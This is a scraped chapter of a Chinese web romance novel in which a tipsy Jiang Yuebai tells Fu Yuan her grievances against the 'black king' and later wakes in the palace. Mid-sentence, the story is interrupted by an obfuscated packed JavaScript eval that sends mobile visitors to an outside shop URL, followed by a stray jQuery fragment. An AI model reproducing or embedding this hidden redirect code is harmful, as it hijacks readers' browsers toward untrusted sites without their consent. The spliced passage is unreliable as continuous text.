文趣网 > 其他小说 > 绑定妖后系统后 > 51. 喜欢
    明月西斜,裹着江风,自洞开的门窗窥视房内。

    确定是阿渊后,江月白终于放下心来。将怀里、手里的花灯搁在身侧,手颤颤搭在身后的墙壁上,是预备起身的姿态。

    看出她的打算,傅渊先一步膝行至她身前。

    二人的距离瞬间拉得极近。

    她搭在壁上的手不断下滑,傅渊单手执住,如接了一朵轻飘飘的柔软的云。

    江月白扭头看过来,秀眉倏然蹙起,双手刷地举起,骤然脱离他的掌心。

    酒后的举动是再做不得假的。

    她讨厌他。

    因不是陈清元而讨厌他。

    傅渊偏首,自洞开的窗处望向远处。

    明月高悬,光辉撒落江面,如瑟瑟银雪簌簌而落。

    或许,他方才就应当装成陈清元。

    最起码,悲哀如他,也有一瞬能染上月光。

    他就是一个色令智昏的人。

    他无不嘲弄地想。

    “我——”

    “阿渊,你去哪里了?为什么不带着我?”

    一同响起的,是她亲昵的话语。

    傅渊咽下未尽的话,转眸望来。

    映入眼帘的是高高递到他眼前,毫无防备,向他展开的双手。

    两只粉嫩掌心之上,各横亘着一道浓重红痕,似沟壑般深深凹陷下去,看起来颇为触目惊心。

    是花灯灯柄的痕迹。

    “痛不痛?”

    话一出口,他惊觉原来自己也会说这种废话。

    怎么可能不痛?

    果然,她点点头,五官蹙起,娇滴滴地喊:“好痛的,要阿渊吹吹。”

    “好。”

    傅渊其实很喜欢她撒娇的姿态,会让他觉得两人的距离其实很近。

    “阿渊你不知道,方才那个黑阎王在,他想骗我的花灯。”

    傅渊手一顿,转瞬间就弄明白她方才执意问他是谁的缘由了。

    她仍无所觉地继续说着:“阿渊你放心,我刚刚把他赶走了,你送我的东西,谁都抢不走!”字字句句都彰显着她的得意与亲近。

    原来她方才这般护着,是因为他送的。

    她说这话时,琥珀色的眼瞳极亮,比傅渊此生见过的任何月色星光宝石加起来都要闪亮。

    让傅渊忍不住用视线贪婪描摹,想把她此时全然信赖的面容烙印在心底,足够他余生回味。

    柔暖的蔷薇甜香缓缓袭来,比水要柔,比风要暖,随之而至的是她那张如花面容。

    光影流转,她停在距离他几寸的地方,与他对视。

    她眼睫蝶翅般簌簌颤动,眸底的水波随之漾出细碎晶莹的光,柔柔拂落他的周身。

    可现下,分明是他俯视、她仰视。

    却与沧江同沐月色。

    “阿渊,你夸夸我。”

    她摇晃粉嫩的指,连带着他握她指尖的双手都轻轻晃动。

    迫他答谢月宴。

    “很聪明,很漂亮。”

    傅渊从未夸过人,只有这么浅薄的几个字句。

    可江月白却是笑了,月辉似雪斜斜扫下,在她温软的眼角眉梢处消融。

    她凑得更近,在馥郁幽香里,小声低语:“阿渊,你方才伺候得我也极好。”

    指的是,他方才为她垫枕头的事。

    是吗。

    傅渊神色莫名地笑了笑,视线暧昧地移到她饱满的唇瓣上。

    他还能伺候得她更好。

    但在此之前,他要问清楚。

    他选了个最柔软蓬松的枕头,垫在她腰后,让她能舒舒服服的靠在榻上靠背。又给她倒了杯水,喂她喝下后,见她神情愉悦,玩着自己散落在肩前的长发。

    心中生出了诡异的满足感。

    这么快就能把她伺候舒坦,可见他们合该是天造地设的一对。

    他坐在榻前,为她按着举花灯太久而酸痛的胳膊,状似漫不经心地问:“小白,阿渊、黑阎王、陈清元三人之中,你最喜欢谁?”

    “我最喜欢小白。”

    极干脆的一声。

    傅渊无声地笑了笑。

    感受着掌心下的柔软滑嫩,放缓了力气:“除了小白呢?”

    这个问题似乎难到她了。

    她蹙起眉头,想了好久,嫣红的唇瓣被贝齿咬得惨白,似乎下一瞬就会被咬破。

    傅渊不忍看她继续纠结,直接换了一个问题。

    “你为什么讨厌黑阎王?他做了什么你很讨厌的事吗?”

    “有的、有的!”江月白点头如捣蒜,身子腾地坐直,侧目转向他,似乎终于找到了可以倾诉的对象,委屈的话流水一般地淌了出来:

    “美人灯笼,爱发脾气弄坏小词送我的发簪,拿阿落玲珑性命威胁我……”

    不是抱怨,是委屈。

    说到最后,她眼泪断线珍珠般啪嗒啪嗒坠了下来,砸在自己身着的素白云锦裙上,洇出浓郁的斑驳。

    有几滴溅在傅渊的手背上,滚烫的泪瞬间便渗透进肌理里。

    灼烧着他的心魄。

    兵贵神速,在战场上他养成了狠厉霸道的行事风格。

    纵然他克制着不去用在她身上,可仍不可避免地伤到了她。

    曾有人诅咒他,说他离亲叛友,必定落到孤家寡人的下场。

    他当时不屑,蜉蝣草莽临死反抗,岂能放在心上。

    可如今,竟真的应验了。

    良久,他才艰涩地抬了抬唇角,“那你……你该恨他的吧。”

    不是疑问,是确定。

    珠帘依旧摇摆不停,可他心中却是茫茫的雪原,无边无尽,寂静阒然。

    伤害已成,该如何弥补一个恨自己的人,甚至奢求让她爱上自己?

    看着她哭红的双目,傅渊指腹摩挲几遍,却始终不敢抬起来,为她拭泪。

    她哭泣的动作却是一停,泪眼里闪烁着朦胧的光,檀口微张,小幅度地喘息着。

    这是她预备说话的姿态。

    可掷地的话却是——

    “不是的。”

    她伸手扯上傅渊的袖摆,带着泪的面容却是格外认真,“我从没有恨过他。”

    轻柔的嗓音落在空中,如柔风拂来,傅渊心中的雪原开始解冻。

    “他救了我好几次,是个好人,只是脾性不大好。”

    雪原一点一点消融,冰层之下有汩汩的水流声,全然汇往他的心房。

    “阿渊,你莫要责怪他。”

    她柔软的掌心覆上傅渊的面,说出的话比水还要温柔,仿佛能包容世间一切的锋利。

    她歪头笑了笑,泪眼盈盈的眸光里闪着流光溢彩的光影,令人目眩。

    “也不要讨厌他。”

    她怎么,这么好……

    望着她柔情的泪眼,傅渊眼尾也跟着泛红。

    酒后的思绪很是混乱,江月白有些不大能控制自己的身体,全然是凭借着本能在答话,将心中所

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17845470|208077||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    想全都合盘托出。

    心中后知后觉意识到有些不太对劲,下一瞬,便被揽进了一个温暖的怀抱。

    萦绕着的,是她熟悉的香味。

    是黑阎王身上的味道。

    有滚烫的液体落到她的颈侧,很快融进她的肌里。

    她茫然地拍了拍身前人宽广的脊背,听到他沙哑的嗓音在耳畔响起。

    “小白,你喜欢什么类型的男子呢?”

    黑阎王和阿渊的脸在她眼前交替闪过,她被阿渊抱在怀里,不能通过晃脑袋把二人摇出,只好眨了眨眼睛。

    她又想到玲珑前不久看完话本后,同她讲授的男主人公必备品格,便依葫芦画瓢地答了起来。

    “所谓好男子。其一,全然服从夫人命令,绝不忤逆;其二,身家全然上交,绝不私藏小金库;其三,恪守三从四德,万事以夫人为先……”

    剩下的,她实在是想不起来了。

    的确不简单。

    傅渊一一记好,但想着她间接承认了二人的夫妻关系,忍不住蹭了蹭她的颈侧,将鼻尖深埋进被酒气氤氲得更浓郁的蔷薇甜香里,而后顺从应道:“我会做好的,小白。”

    江月白被他的鼻息弄得发痒,好一会儿,才想起来推了推他。

    傅渊依着第一条,不情不愿地放开她。

    江月白坐累了,摘下头上的步摇,掷到一旁,如云墨发随之散开。

    她眨了眨眼睫,扶着傅渊紧实的手臂,缓缓下移,转眼间便躺在榻上。

    “偷偷告诉你,我还有个名字。”

    她额上沾了点碎发,傅渊伸手帮她捋开。“叫什么?”

    “皎皎。”

    “皎皎是我的乳名。他们说,天上月、水中月皆是我。”

    天上月高洁,水中月飘渺。

    而皎皎,是父母生生世世的心头月、掌中宝。

    纵然后来时过境迁,可这份凝结着父母浓郁的爱意却始终持续地温暖着她。

    江月白笑得很甜,眼瞳里落了点惺忪烛光,又缓缓阖上。

    傅渊为她盖好被子,起身走到窗前,眺望素银江面无边无际,苍穹圆月明辉闪耀。

    正是江清月白,令无数文人墨客流连忘返之景。

    他却收回窗支,将美景关在船外。

    他打了盆温水,走到榻前为江月白拭去妆容之后。

    凝着江月白安稳的睡颜,忽而忆起她方才的话,却不大赞同。

    天上明月、江中皓月,俱不如她。

    傅渊如是觉得。

    ……

    江月白醒来时,映入眼帘的是熟悉的床帐,她愣了愣,才坐起身。

    这是凤栖宫。

    她何时回的宫?阿渊呢?

    昨夜的记忆如潮水般慢慢涌来,她缓了好一会儿,脸颊渐渐发烫。她扯过身旁的香云枕,把芙蓉面狠狠埋进枕巾里,在心中无声地呐喊着。

    傅渊他居然这么容忍她,在听完她的不满后,居然还问她喜欢什么样的男子。是不是代表着他……

    不行不行!

    江月白抱着香云枕翻身倒了下去,在被褥间不住翻滚。

    必定是玲珑日日在她耳畔念叨傅渊,还用各种手段分析傅渊对她种种不同的缘故。

    她才没有这么想!

    没有!

    半晌,江月白才终于平复好心情,双手扯开床幔,一抬眼便撞见了一件精致的黄袍。

    往上一看,是傅渊那张俊美无俦的脸。